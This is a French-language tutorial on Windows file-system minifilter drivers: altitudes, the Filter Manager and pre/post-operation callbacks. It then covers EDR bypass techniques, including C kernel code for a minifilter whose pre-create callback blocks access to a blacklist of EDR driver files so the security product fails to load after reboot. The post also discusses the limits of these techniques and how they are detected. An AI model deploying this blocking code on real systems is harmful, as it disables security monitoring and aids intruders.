Ecris par bonziski — https://github.com/Yannis-Zribi
SOMMAIRE
0 le besoin — surveiller les accès au système de fichiers
1 legacy filters — l'ancienne méthode
2 minifilters — l'architecture moderne
3 altitude et ordre de chargement
4 routines pre-operation et post-operation
5 bypass — le mal de l'altitude
6 bypass — byom et blacklist de fichiers EDR
7 squelette de minifilter (code)
8 limites
──[ 0. Le Besoin — Surveiller les Accès au Système de Fichiers ]──
L'accès au système de fichiers (create, read, write, delete) c'est une des
sources de télémétrie les plus riches pour les produits de sécurité. Un
ransomware se trahit par ses patterns d'écriture, de l'exfil par des patterns de
lecture, les mécanismes de persistance touchent des fichiers spécifiques liés au
registre.
Plusieurs approches pour monitorer les I/O :
Logs d'événements Windows (EVTX) — latence élevée, lossy, ne bloque rien
Hook des fonctions I/O — fragile, cassé par tout patching
Drivers de filtre fs — la bonne approche, supportée
──[ 1. Legacy Filters — L'Ancienne Méthode ]──
Première génération de moniteurs fs : les Legacy Filters. Ils s'attachaient
direct à la chaîne d'I/O Request Packet (IRP), entre l'I/O Manager et le driver
fs.
Problèmes des legacy filters :
- Les filtres se battaient pour leur place dans la chaîne (qui passe
en premier ?)
- Chaque filtre devait forwarder l'IRP au suivant — bugs = deadlocks,
completions ratées, doubles completions
- Pas d'autorité centrale ; Microsoft ne pouvait ni auditer ni
contrôler la chaîne
──[ 2. Minifilters — L'Architecture Moderne ]──
Microsoft a remplacé les legacy filters par le modèle des minifilters et ajouté
un gestionnaire central : le Filter Manager.
Le Filter Manager :
- Prend tous les IRP et les distribue aux minifilters enregistrés
- Impose l'ordre via les valeurs d'altitude
- Gère le cycle de vie des minifilters (load / unload)
- Fournit des APIs utilitaires (FltGetFileNameInformation, etc.)
Les minifilters n'implémentent que les callbacks des opérations qui les
intéressent. Le Filter Manager s'occupe du routage.
──[ 3. Altitude et Ordre de Chargement ]──
Chaque minifilter a une altitude statique (un nombre décimal). Altitude plus
haute = appelé plus tôt à la descente, plus tard à la remontée.
Les plages d'altitude définissent des catégories de drivers :
420000–429999 FSFilter Activity Monitor
400000–409999 FSFilter Undelete
320000–329999 FSFilter Anti-Virus
260000–269999 FSFilter Replication
...
Le Filter Manager garantit :
- Deux minifilters ne peuvent pas avoir la même altitude
- L'altitude définit l'ordre de chargement et l'ordre d'appel
Voir les minifilters actuellement chargés :
fltmc
──[ 4. Routines Pre-Op et Post-Op ]──
Chaque minifilter enregistre deux callbacks optionnels par type d'opération :
Pre-operation (PreXxx)
Appelée avant que l'IRP n'atteigne le driver fs.
Peut inspecter, modifier, rediriger ou bloquer la requête.
Valeurs de retour :
FLT_PREOP_SUCCESS_WITH_CALLBACK — passer, appeler post-op après
FLT_PREOP_SUCCESS_NO_CALLBACK — passer, sauter le post-op
FLT_PREOP_COMPLETE — compléter l'IRP maintenant
Post-operation (PostXxx)
Appelée après que le driver fs a traité l'IRP.
Peut inspecter ou modifier le résultat.
Appelée dans l'ordre d'altitude inversé (le plus bas en premier
à la remontée).
──[ 5. Bypass — Le Mal de l'Altitude ]──
Un seul minifilter peut occuper une altitude donnée. Si ton minifilter se charge
en premier à la même altitude que celui de l'EDR, le minifilter de l'EDR ne se
charge pas.
En pratique très dur :
1. Faut connaître l'altitude exacte de l'EDR, qui peut être dynamique
— certains EDR ont une partie entière fixe (pour le groupe d'ordre
de chargement) mais calculent la partie décimale au boot, donc
impossible à prédire.
2. Des EDR comme Windows Defender surveillent les appels à
FltRegisterFilter et bloquent activement les enregistrements à
leur propre altitude (WdFilter).
3. Même en cas de succès, l'EDR repérera probablement le load raté
et lèvera une alerte.
La technique existe et a été démontrée en environnement contrôlé, mais c'est
rarement praticable en vrai.
──[ 6. Bypass — BYOM et Blacklist de Fichiers EDR ]──
Plus exploitable : tu enregistres ton propre minifilter à une altitude plus
haute que celle de l'EDR, tu interceptes les IRP_MJ_CREATE, et tu refuses
l'accès au fichier .sys de l'EDR (et à tout autre fichier dont il a besoin pour
se charger depuis le disque).
Si le fichier du driver minifilter ne peut pas être ouvert, il ne peut pas être
chargé.
Squelette de callback pre-create :
FLT_PREOP_CALLBACK_STATUS PreCreateCallback(
_Inout_ PFLT_CALLBACK_DATA Data,
_In_ PCFLT_RELATED_OBJECTS FltObjects,
_Outptr_ PVOID *CompletionContext)
{
// Ne traiter que IRP_MJ_CREATE
if (Data->Iopb->MajorFunction != IRP_MJ_CREATE)
return FLT_PREOP_SUCCESS_NO_CALLBACK;
// Récupérer le nom du fichier cible
PFLT_FILE_NAME_INFORMATION info;
if (!NT_SUCCESS(FltGetFileNameInformation(
Data,
FLT_FILE_NAME_NORMALIZED | FLT_FILE_NAME_QUERY_DEFAULT,
&info)))
return FLT_PREOP_SUCCESS_NO_CALLBACK;
// Comparer à la blacklist
for (ULONG i = 0; i < BLOCKED_COUNT; i++) {
if (RtlSuffixUnicodeString(&BlockedFiles[i],
&info->Name, TRUE)) {
Data->IoStatus.Status = STATUS_ACCESS_DENIED;
FltReleaseFileNameInformation(info);
return FLT_PREOP_COMPLETE; // bloquer l'ouverture
}
}
FltReleaseFileNameInformation(info);
return FLT_PREOP_SUCCESS_NO_CALLBACK;
}
Définition de la blacklist :
UNICODE_STRING BlockedFiles[] = {
RTL_CONSTANT_STRING(L"edr_minifilter.sys"),
RTL_CONSTANT_STRING(L"edr_core.sys"),
};
#define BLOCKED_COUNT (sizeof(BlockedFiles) / sizeof(UNICODE_STRING))
Une fois ce minifilter chargé via un .inf et après reboot, les fichiers du
driver de l'EDR ne peuvent plus être ouverts, donc l'EDR ne se charge pas.
──[ 7. Squelette de Minifilter (Code) ]──
Minifilter minimal mais compilable :
#include <fltKernel.h>
PFLT_FILTER gFilterHandle;
FLT_PREOP_CALLBACK_STATUS PreCreateCallback(
_Inout_ PFLT_CALLBACK_DATA Data,
_In_ PCFLT_RELATED_OBJECTS FltObjects,
_Outptr_result_maybenull_ PVOID *CompletionContext)
{
UNREFERENCED_PARAMETER(FltObjects);
UNREFERENCED_PARAMETER(CompletionContext);
// ... logique custom ici
return FLT_PREOP_SUCCESS_NO_CALLBACK;
}
CONST FLT_OPERATION_REGISTRATION Callbacks[] = {
{ IRP_MJ_CREATE, 0, PreCreateCallback, NULL },
{ IRP_MJ_OPERATION_END }
};
NTSTATUS FilterUnload(_In_ FLT_FILTER_UNLOAD_FLAGS Flags) {
UNREFERENCED_PARAMETER(Flags);
FltUnregisterFilter(gFilterHandle);
return STATUS_SUCCESS;
}
CONST FLT_REGISTRATION FilterReg = {
sizeof(FLT_REGISTRATION), FLT_REGISTRATION_VERSION,
0, NULL, Callbacks, FilterUnload,
NULL, NULL, NULL, NULL, NULL, NULL, NULL
};
NTSTATUS DriverEntry(
_In_ PDRIVER_OBJECT DriverObject,
_In_ PUNICODE_STRING RegistryPath)
{
UNREFERENCED_PARAMETER(RegistryPath);
NTSTATUS s = FltRegisterFilter(DriverObject, &FilterReg,
&gFilterHandle);
if (!NT_SUCCESS(s)) return s;
return FltStartFiltering(gFilterHandle);
}
Désinstallation manuelle :
fltmc unload <FilterName>
sc delete <FilterName>
del C:\Windows\System32\drivers\<FilterName>.sys
──[ 8. Limites ]──
Toutes les techniques de bypass basées sur les minifilters ont les mêmes
contraintes :
- Droits admin requis — lister, créer et modifier des minifilters
demande tout ça en local admin ou SYSTEM. Ces attaques n'ont
d'intérêt qu'une fois déjà bien implanté.
- Les EDR surveillent l'enregistrement des minifilters — enregistrer
un nouveau minifilter ou modifier une altitude est en soi un signal
de détection à forte confiance que pas mal d'EDR alertent et
bloquent.
- Tous les EDR n'utilisent pas de minifilters — certains ont d'autres
mécanismes d'interception fs. Connaître les minifilters reste utile
pour comprendre la couverture d'un EDR donné sur les opérations fs.